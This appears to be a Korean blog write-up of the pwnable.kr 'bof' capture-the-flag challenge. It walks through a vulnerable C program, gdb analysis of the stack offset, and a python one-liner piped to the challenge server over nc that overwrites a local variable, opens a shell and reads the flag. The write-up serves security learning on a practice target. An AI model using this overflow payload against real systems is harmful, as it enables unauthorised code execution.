시작
안녕하세요!!
이번에는 정말정말 유명한 bof
문제를 풀어보겠습니다!!
Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.cRunning at : nc pwnable.kr 9000
먼저 wget
을 이용해 bof
와 bof.c
를 받아야 해요.
root@goorm:/workspace/LCH_Server# wget http://pwnable.kr/bin/bof
--2019-04-12 06:28:54-- http://pwnable.kr/bin/bof
Resolving pwnable.kr (pwnable.kr)... 143.248.249.64
접속 pwnable.kr (pwnable.kr)|143.248.249.64|:80... 접속됨.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: https://pwnable.kr/bin/bof [following]
--2019-04-12 06:28:55-- https://pwnable.kr/bin/bof
접속 pwnable.kr (pwnable.kr)|143.248.249.64|:443... 접속됨.
HTTP request sent, awaiting response... 200 OK
Length: 7348 (7.2K)
Saving to: ‘bof’
100%[==================================================>] 7,348 --.-K/s in 0s
2019-04-12 06:28:55 (48.1 MB/s) - ‘bof’ saved [7348/7348]
root@goorm:/workspace/LCH_Server# wget http://pwnable.kr/bin/bof.c
--2019-04-12 06:28:57-- http://pwnable.kr/bin/bof.c
Resolving pwnable.kr (pwnable.kr)... 143.248.249.64
접속 pwnable.kr (pwnable.kr)|143.248.249.64|:80... 접속됨.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: https://pwnable.kr/bin/bof.c [following]
--2019-04-12 06:28:57-- https://pwnable.kr/bin/bof.c
접속 pwnable.kr (pwnable.kr)|143.248.249.64|:443... 접속됨.
HTTP request sent, awaiting response... 200 OK
Length: 308 [text/x-csrc]
Saving to: ‘bof.c’
100%[==================================================>] 308 --.-K/s in 0s
2019-04-12 06:28:57 (6.93 MB/s) - ‘bof.c’ saved [308/308]
시작해보죠!
Write UP
root@goorm:/workspace/LCH_Server# ./bof
overflow me :
aaa
Nah..
bof
파일을 실행시켰더니 overflow me :
와 함께 사용자의 입력을 기다리네요.
임의의 문자열을 넣고 돌려보니깐 Nah..
가 출력되며 프로그램이 종료됩니다.
bof.c
파일을 한 번 볼까요??
root@goorm:/workspace/LCH_Server# cat bof.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
smash me!
라고 당당하게 써있네요..
gets()
:\n
이나 파일의 끝(EOF
)을 만나기 전까지 문자열을 입력받습니다.
gets
함수는 입력을 받을 때 문자열의 길이를 검사하지 않습니다.
따라서 사용자가 원하는 만큼 문자열을 쓸 수 있죠..
이를 이용해 Buffer Overflow
가 발생할 수 있습니다!
함수가 실행될 때, 아래 그림과 같은 Stack Frame
을 만듭니다.
Stack Frame
에 대해 간단하게 살펴보죠!!
-
매개 변수 : 함수의 인자값으로 받은 내용들이 저장됩니다.
-
RETURN
: 함수 호출 다음에 실행할 주소를 담고 있습니다. -
SFP
: 처음의ebp
주소를 저장합니다. -
지역 변수 : 함수 내에서 선언된 지역변수들이 저장됩니다.
Stack Frame
에 대한 것은 다음에 자세히 설명하겠습니다!
이 정도만 알고 계신 후, 코드로 넘어가보죠.
앞서 말했듯이 gets
는 문자열의 길이를 검사하지 않고 입력을 받습니다.
따라서 지역 변수를 위해 할당된 공간을 넘어 SFP
, RETURN
, 매개 변수의 영역을 침범할 수 있죠.
그렇다면 얼마나 많은 값을 입력해 줘야 데이터의 침범이 일어날까요?
gdb-peda
로 직접 알아봅시다.
root@goorm:/workspace/LCH_Server# gdb bof
GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.2) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from bof...(no debugging symbols found)...done.
gdb-peda$
func
함수의 어셈블리어 코드를 볼까요?
gdb-peda$ disas func
Dump of assembler code for function func:
0x0000062c <+0>: push ebp
0x0000062d <+1>: mov ebp,esp
0x0000062f <+3>: sub esp,0x48
0x00000632 <+6>: mov eax,gs:0x14
0x00000638 <+12>: mov DWORD PTR [ebp-0xc],eax
0x0000063b <+15>: xor eax,eax
0x0000063d <+17>: mov DWORD PTR [esp],0x78c
0x00000644 <+24>: call 0x645 <func+25>
0x00000649 <+29>: lea eax,[ebp-0x2c]
0x0000064c <+32>: mov DWORD PTR [esp],eax
0x0000064f <+35>: call 0x650 <func+36>
0x00000654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe
0x0000065b <+47>: jne 0x66b <func+63>
0x0000065d <+49>: mov DWORD PTR [esp],0x79b
0x00000664 <+56>: call 0x665 <func+57>
0x00000669 <+61>: jmp 0x677 <func+75>
0x0000066b <+63>: mov DWORD PTR [esp],0x7a3
0x00000672 <+70>: call 0x673 <func+71>
0x00000677 <+75>: mov eax,DWORD PTR [ebp-0xc]
0x0000067a <+78>: xor eax,DWORD PTR gs:0x14
0x00000681 <+85>: je 0x688 <func+92>
0x00000683 <+87>: call 0x684 <func+88>
0x00000688 <+92>: leave
0x00000689 <+93>: ret
End of assembler dump.
key
와 비교하는 cmp
부분을 보면 ebp+0x8
이라는 주소가 보이네요.
key
값이 ebp+0x8
에 저장되어 있다는 것을 확인할 수 있습니다.
gets
함수의 인자값이 되는 <func+29>
부분을 보시면
ebp-0x2c
에 입력값을 넣어주는 것(=overflow[]
)을 알 수 있습니다.
따라서, 지역변수인 overflow[]
의 시작주소부터 매개변수인 key
까지의 거리는 0x8 + 0x2C = 0x34
, 52 bytes
가 되겠네요!
확실하게 보기 위해 esp
의 내용을 뜯어볼까요??
gets
함수의 인자로 A
를 32개 넣어보겠습니다.
overflow me :
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
gdb-peda$ x/28wx $esp
0xffd74b40: 0xffd74b5c 0x00000000 0x000000c2 0xf760b0e6
0xffd74b50: 0xffffffff 0xffd74b7e 0xf7581c34 0x41414141
0xffd74b60: 0x41414141 0x41414141 0x41414141 0x41414141
0xffd74b70: 0x41414141 0x41414141 0x41414141 0x66128a00
0xffd74b80: 0x566206b0 0x56620530 0xffd74ba8 0x5662069f
0xffd74b90: 0xdeadbeef 0xf7754000 0x566206b9 0xf771f000
0xffd74ba0: 0x566206b0 0x00000000 0x00000000 0xf758ead3
A
의 ASCII
값인 41
이 0xFFD74B5C
부터 시작하네요.
overflow[]
의 시작주소가 0xFFD74B5C
라는 말입니다.
key
값인 0xDEADBEEF
는 0xFFD74B90
에 들어가있는 것이 보입니다.
두 변수 사이의 거리는 0xFFD74B90 - 0xFFD74B5C = 0x34
, 52 bytes
인 것을 직접 확인했습니다!!
A
를 52 bytes
만큼 넘겨주고, key
자리에 0xCAFEBABE
를 넣어주면..
root@goorm:/workspace/LCH_Server# (python -c 'print "A" * 52 + "\xbe\xba\xfe\xca"'; cat) | nc pwnable.kr 9000
ls -l
total 62164
-r-xr-x--- 1 root bof 7348 Sep 12 2016 bof
-rw-r--r-- 1 root root 308 Oct 23 2016 bof.c
-r--r----- 1 root bof 32 Jun 11 2014 flag
-rw------- 1 root root 63627875 Apr 12 18:45 log
-rw-r--r-- 1 root root 0 Oct 23 2016 log2
-rwx------ 1 root root 760 Sep 10 2014 super.pl
cat flag
daddy, I just pwned a buFFer :)
Exploit !!
마무리
길었습니다.. gdb
가 익숙하지 않아서 몇 시간동안 찾아보고 삽질한 것 같습니다ㅠㅠ
드디어 시스템 해킹의 시작이라고 말할 수 있는 bof
를 직접 해봤네요..
이제 막 걸음마 뗀 느낌입니다!! 어려운데 그만큼 재밌네요 :D
다음 문제에서 뵙겠습니다!
'CTF_Write_UP > pwnable.kr' 카테고리의 다른 글
pwnable.kr : mistake 풀이 (0) | 2019.04.16 |
---|---|
pwnable.kr : passcode 풀이 (0) | 2019.04.14 |
pwnable.kr : random 풀이 (0) | 2019.04.13 |
pwnable.kr : col 풀이 (0) | 2019.04.12 |
pwnable.kr : fd 풀이 (0) | 2019.04.11 |